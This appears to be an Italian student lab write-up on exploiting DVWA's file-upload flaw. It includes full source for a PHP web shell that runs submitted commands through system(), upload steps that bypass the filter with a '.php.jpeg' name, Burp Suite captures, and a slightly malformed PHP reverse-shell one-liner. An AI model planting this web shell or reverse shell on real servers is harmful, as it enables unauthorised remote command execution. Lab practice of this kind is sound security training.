

S6_L1

Codice PHP

```
<!DOCTYPE html>
<html>
<head>
  <title>PHP Web Shell</title>
  <style>
    body {
      background-color: #333;
      color: #eee;
      font-family: Arial, sans-serif;
    }
    textarea {
      width: 100%;
      height: 200px;
      background-color: #222;
      color: #eee;
      border: 1px solid #555;
    }
    input, button {
      background-color: #444;
      color: #eee;
      border: 1px solid #555;
    }
  </style>
</head>
<body>
  <h1>PHP Web Shell</h1>
  <form method="post">
    <textarea name="cmd" placeholder="Enter command..."></textarea><br/>
    <input type="submit" value="Execute"/>
  </form>
  <?php
  if (isset($_POST['cmd'])) {
```

```

        echo "<pre>";
        $cmd = $_POST['cmd'];
        system($cmd);
        echo "</pre>";
    }
    ?>
</body>
</html>

```

VERBI

The screenshot displays the Burp Suite Community Edition v2024.6 interface. The top menu bar includes options like Burp, Project, Intruder, Repeater, View, and Help. The main workspace is divided into several panes. On the left, the 'Site map' pane shows a tree structure of the target site, with the root node being 'http://192.168.50.101'. The central pane shows a list of requests, with the first request selected. The 'Request' pane on the right shows the details of the selected request, including the HTTP method (GET), URL (/), and various headers and body content. A terminal window is overlaid on the right side of the interface, showing a command prompt with the text 'kali@kali: ~/Desktop'.

CARICAMENTO IN LIVELLO LOW DEL PHP

Vulnerability: File Upload

Choose an image to upload:

No file chosen

../../../../hackable/uploads/s6l1.php succesfully uploaded!

PHP Web Shell

Enter command...

S6_L1.php
dvwa_email.png
s6_l1.php
s6_l1.php.jpeg
s6l1.php

CARICAMENTO LIVELLO HIGH E BURPSUITE

Vulnerability: File Upload

Choose an image to upload:

No file chosen

../../../../hackable/uploads/s6l1.php.jpeg succesfully uploaded!

Burp Suite Community Edition v2024.6 - Temporary Project

Dashboard Target Proxy Intruder Repeater View Help

Decoder Comparer Logger Organizer Extensions Learn

Intercept HTTP history WebSockets history Proxy settings

Filter settings: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Len
63	http://192.168.50.101	POST	/dwva/security.php	✓		302	427
64	http://192.168.50.101	GET	/dwva/security.php			200	453
65	http://192.168.50.101	POST	/dwva/security.php	✓		302	427
66	http://192.168.50.101	GET	/dwva/security.php			200	453
67	http://192.168.50.101	GET	/dwva/vulnerabilities/upload/			200	486
68	http://192.168.50.101	POST	/dwva/vulnerabilities/upload/	✓		200	49C
69	http://192.168.50.101	POST	/dwva/vulnerabilities/upload/	✓		200	493
70	http://192.168.50.101	GET	/dwva/hackable/uploads/s6l1.php.j...			200	983
71	http://192.168.50.101	POST	/dwva/hackable/uploads/s6l1.php.j...	✓		200	993
72	http://192.168.50.101	POST	/dwva/hackable/uploads/s6l1.php.j...	✓		200	994
73	http://192.168.50.101	GET	/dwva/hackable/uploads/s6l1.php.j...	✓		200	983
74	http://192.168.50.101	POST	/dwva/hackable/uploads/s6l1.php.j...	✓		200	106

Event log All issues Memory: 105.4MB

s6l1.php

s6l1.php.jpeg

Damn Vulnerable Web A x PHP Web Shell

Not secure 192.168.50.101/dvwa/hackable/uploads/s6l1.p

PHP Web Shell

Enter command...

Execute

S6_L1.php
dvwa_email.png
s6_l1.php
s6_l1.php.jpeg
s6l1.php
s6l1.php.jpeg

Request

Pretty Raw Hex

```
1 GET /dvwa/hackable/uploads/s6_l1.php
2 HTTP/1.1
3 Host: 192.168.50.101
4 Cache-Control: max-age=0
5 Accept-Language: en-US
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 Accept-Encoding: gzip, deflate, br
10 Cookie: security=medium; PHPSESSID=1655069037591f1605ddd0499b13de3e
11 Connection: keep-alive
12
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Mon, 01 Jul 2024 14:19:22 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 X-Powered-By: PHP/5.2.4-2ubuntu5.10
5 Keep-Alive: timeout=15, max=97
6 Connection: Keep-Alive
7 Content-Type: text/html
8 Content-Length: 74
9
10 php -r '$sock=fsockopen("192.168.50.101",22);system("cmd <&3 > &3 2>&3");'
11
```